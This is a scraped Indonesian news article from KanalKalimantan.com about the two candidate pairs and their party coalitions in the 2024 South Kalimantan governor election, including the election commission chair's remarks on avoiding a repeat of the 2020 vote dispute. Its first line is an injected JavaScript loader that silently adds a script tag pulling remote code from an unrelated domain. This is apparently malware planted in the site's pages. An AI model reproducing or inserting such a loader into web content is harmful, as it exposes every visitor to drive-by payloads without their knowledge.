(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kontestasi Pemilihan Gubernur dan Wakil Gubernur (Pilgub) Kalimantan Selatan (Kalsel) 2024 dipastikan diikuti dua pasangan calon.
Hj Raudhatul Jannah (Acil Odah) dan Akhmad Rozanie Himawan Nuhraga akan bersaing dengan pasangan H Muhidin-Hasnuryadi Sulaiman.
Pasangan Acil Odah-Rozanie menjadi pendaftar pertama Pilgub Kalsel di Sekretariat KPU Kalsel pada hari kedua pendaftaran pada Rabu (28/8/2024) lalu.
Pasangan Acil Odah-Rozanie disokong lima partai politik (parpol) pengusung yaitu partai Golkar, Gerindra, Nasdem, PDIP, dan PKB.
Baca juga: Ini Lima Rute Angkutan Feeder Juara Banjarbaru
Perolehan suara sah dari lima parol tersebut yaitu sebanyak 1.386.272 suara atau 63,43%.
Jumlah itu jauh melampaui ambang batas pencalonanan 8,5% sesuai dengan putusan Mahkamah Konstitusi (MK).
Sementara itu, Muhidin-Hasnur mendaftar pada hari terakhir pendaftaran Kamis (29/8/2024), membawa B1-KWK dari lima parpol. Muhidin-Hasnur diusung PAN, partai Demokrat, PKS, PSI, dan Perindo.
Jumlah total suara sah dari lima parpol pengusung tersebut yaitu sebanyak 605.038 dengan ekuivalen 27,68%.
Berkas pendaftaran Acil Odah-Rozanie maupun Muhidin-Hasnur telah diterima KPU Kalsel dan dinayatakan lengkap alias memenuhi syarat.
Kedua pasangan calon kepala daerah telah melakukan pemeriksaan kesehatan fisik maupun mental di Rumah Sakit Bhayangkara Banjarmasin. Tes kesehatan menjadi salah satu tahapan yang harus dilalui setiap paslon yang resmi mendaftar.
KPU Kalsel melakukan proses verifikasi lanjut terhadap berkas pendaftaran sebelum menetapkan pasangan calon gubernur dan wakil gubernur Kalsel pada 22 September 2024.
Pilgub Kalsel 2020 menjadi sejarah dimana kali pertama terjadi Perselisihan Hasil Pemilihan Umum (PHPU) atau sengketa di Mahkamah Konstitusi (MK). Putusan MK memerintahkan harus diselenggarakan Pemungutan Suara Ulang (PSU) di beberapa daerah.
Ketua KPU Provinsi Kalsel Andi Tenri Sompa berharap kejadian tahun 2020 itu tak terulang kembali pada Pilkada 2024.
Menurut Ketua KPU Kalsel, sengketa dalam Pilkada akan berdampak secara langsung terhadap roda pemerintahan di daerah, karena akan menunda pelantikan kepala daerah seperti yang terjadi di Kalsel pada 2020 lalu.
Baca juga: Peringati Hari Pramuka, Ketua Kwarcab Banjarbaru: Solusi di Era Perkembangan Teknologi
“Berharap tidak ada sengketa, karena kalau ada sengketa itu yang rugi kita, akan terhalang hampir satu tahun penyelenggaraan (pelantikan) seperti lima tahun lalu,” kata Ketu KPU Kalsel.
Untuk mencegah terjadinya sengketa kembali kata Andi Tenri, maka diperlukan integritas tinggi dari penyelenggara dalam menjalankan setiap tahapan Pilkada.
“Kami berharap semua kompenen bangsa bersatu padu, integritas tinggi dari penyelenggara dan semua stekholder termasuk peserta,” ujarnya.
“Mudah-mudahan (PHPU) tidak terulang kembali, kami mohon bantuan seluruh masyarakat,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.